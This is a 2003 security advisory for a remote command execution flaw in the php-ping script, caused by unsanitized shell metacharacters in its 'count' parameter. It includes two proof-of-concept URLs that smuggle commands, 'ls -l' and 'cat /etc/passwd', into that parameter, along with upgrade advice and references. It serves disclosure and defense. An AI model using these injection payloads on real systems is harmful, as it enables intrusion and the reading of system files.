php-ping Count Parameter Command Execution Vulnerability

Bugtraq ID:	9309
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 29 2003 12:00AM
Updated:	Dec 29 2003 12:00AM
Credit:	The disclosure of this issue has been credited to ppp-design <[email protected]>.
Vulnerable:	TheWorldsEnd.NET php-ping
Not Vulnerable:

php-ping Count Parameter Command Execution Vulnerability

It has been reported that php-ping may be prone to a remote command execution vulnerability that may allow remote attackers to execute commands on vulnerable systems. The problem exists due to insufficient sanitization of shell
metacharacters via the 'count' parameter of php-ping.php script.

Exploitation would permit a remote attacker to execute arbitrary commands with the privileges of the web server hosting the vulnerable software.

php-ping Count Parameter Command Execution Vulnerability

The following proof of concept has been provided:

http://www.example.com/php-ping.php?count=1+%26+ls%20-l+%26&submit=Ping%21
http://www.example.com/php-ping.php?count=1+%26+cat%20/etc/passwd+%26&submit=Ping%21

php-ping Count Parameter Command Execution Vulnerability

Solution:
It has been reported that the latest version of the software is not prone to this issue. Users are advised to obtain the latest version from the vendor.

php-ping Count Parameter Command Execution Vulnerability

References:

• Product Page (TheWorldsEnd.NET)
  
• php-ping: Executing arbritary commands (ppp-design )